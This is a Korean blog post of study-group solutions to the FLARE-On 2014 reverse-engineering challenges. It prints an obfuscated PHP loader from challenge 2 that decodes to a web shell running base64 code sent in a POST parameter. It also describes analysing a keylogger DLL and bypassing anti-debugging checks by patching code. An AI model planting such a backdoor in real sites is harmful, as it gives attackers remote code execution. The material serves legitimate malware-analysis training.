FLARE ON 2014 문제풀이

Posted by : on

Category : reversing   learning


배경

2025년 7월에 진행한 FLARE ON 2014 스터디 진행중 나온 풀이를 저장하게 되었습니다.

chal1

_

dnspy로 확인 시 버튼에 다음과 같은 메소드가 넣어져 있음

_

_

아래처럼 코드를 바꿔 확인

_

_

chal2

image strings시 php코드가 나옴

<?php $terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);$do_me="";for($i=0;$i<count($order);$i++){$do_me=$do_me.$terms[$order[$i]];}eval($do_me); ?>

_

마지막의 eval을 echo로 변경해 출력함

$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

아래와 같은 코드가 나옴

_

\’등의 잘못된 코드를 \’로 바꾼 뒤 echo할경우 아래와 같은 코드가 나옴

$code=base64_decode($_);eval($code);

아래처럼 코드를 수정한 후 실행함

_

echo로 나타난 문자열은 다음과 같음

if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }

\123은 유니코드, \x12는 16진수 유니코드로 추정되며 복호화시 정답이 나옴

_

chal3

디컴파일러로 간단하게 볼 경우 해당 프로그램은 패킹이 되어있어, 디버깅을 통한 언패킹을시도하였습니다.

_

분석한 로직은 다음과 같습니다

  • 데이터 영역에 있는 문자열 (aaaaand i’m spent 등..)을 이용해 3번정도의 코드 영역 난독화 해제

  • ntdll에서 FetalAppExist를 찾아 호출합니다.

  • 호출되는 문자열은 스택에 입력된 문자열입니다, 코드 영역에서 입력됩니다

_

스택영역에서 메일을 찾았습니다, 프로그램 초반에 입력된듯합니다

아래 루프를 돌면서 복호화 할 때, jmp의 아랫부분이 메일부분이었습니다. hnt는 jmp의 타겟이었습니다.

_

chal4

_

_

이후 page2, js를 봤지만 특별한 코드를 찾지 못함

adobe reader관련 rce취약점이라는 말을 들었으며, 관련 키워드로 검색해보니 2023, 2024, 2025년에도 한번씩 나온것이 확인됨, 연례행사인듯

chal5

_

자신을 svchost로 변경하는 dll파일이다

_

키로거이다

키가 눌렸을때 특정 행동을 하고 있어서 찾아가보니 데이터들을 설정하고 키를 누를때마다 플래그값들을 수정하고 있다

_

_

함수 변수 설정 끝이 com인걸 봐서, 변수 순서대로 들어가면 될 듯 하다.

m부터 거꾸로 들어가면 될 듯하나, 패턴이 반복되어 진행하지 않음

chal6

chal7

코드 실행 중 디버그 체킹 및 코드 영역 복호화가 확인되어 동적 디버깅을 실행하였습니다

함수별로 각각의 방법으로 디버깅중인지 확인 후 코드 영역 복호화하는것을 확인하였습니다

_

_

_

sidt를 통해 인터럽트 핸들러를 받아들인 후, 해당 값이 있는지 확인

_

tib 조작(SEH) 후 오류 발생

seh 실행 후 바로 다음 라인으로 가는듯한데, 어떤 로직을 타서 다음 라인으로 가는지 모르겠음, 체인은 다른 주소를 가르키고 있었음

ebx가 020202로 설정되는데, teb나 tib블럭중에서 봤던 기억이 있음, 디버깅중에 020202가 뜬다고

아래 라인에는 seh를 원래대로 복구하고 리턴하는 로직이 있었음

_

다음 함수는 getLastError로 디버깅을 판단하는듯하다,

_

다음 함수는 1차 복호화 체크 로직으로 보임

_

다음 함수는 peb의 global flag로 리버싱 여부를 파악함

_

디버깅중일때 값은 70이며, 아닐때는 0이라고 함

해당 코드 이후는 프로그램 실행 영역이나 디코드 영역으로 보임, 인터넷에 연결하는 함수가 보임

안티디버깅을 우회하기 위해, 중요한 로직 앞에 무한루프를 걸어두고 실행함

_

적당한 영역을 찾아

_

jmp self한 뒤, 원본 bytes를 hxd로 검색한 뒤 수정된 bytes로 수정 후 실행 및 attach

해당 주소가 프로그램이 끝난 뒤여서, call사이 빈 공간에 무한루프를 다시 걸었습니다

이후 여러 번 복호화를 진행하는 로직이 나왔습니다

https://dogecoin.com/e.root-servers.net 사이트의 ip를 얻어내 복호화를 수행하는 것으로 보임, 이후 트위터 한 게시글을 들어가 파싱 후 복호화 하는 것으로 보였으나, 트위터가 현재는 로그인을 안 할 시 게시글이 보이지 않아 틩기는 것으로 추정, 혹은 게시글이 사라졌거나

https://x.com/fireeye/status/484033515538116608

_

읽은 내용에서 Seclude hi가 있는지 판단하는 구문이 있는데, 점프구문에서 강제로 eip 설정하였음

이후에도 트위터 내용을 가지고 처리하는 구문이 있어 추가 처리 불가능하다고 판단

무한루프 이후 추가적인 안티 디버깅 로직이 없어 클리어 한 것으로 생각됩니다


About 영원염원영웅
영원염원영웅

공부하는것을 좋아합니다.

Email : xhve00000@gmail.com

Website : http://eveheeero.com

Useful Links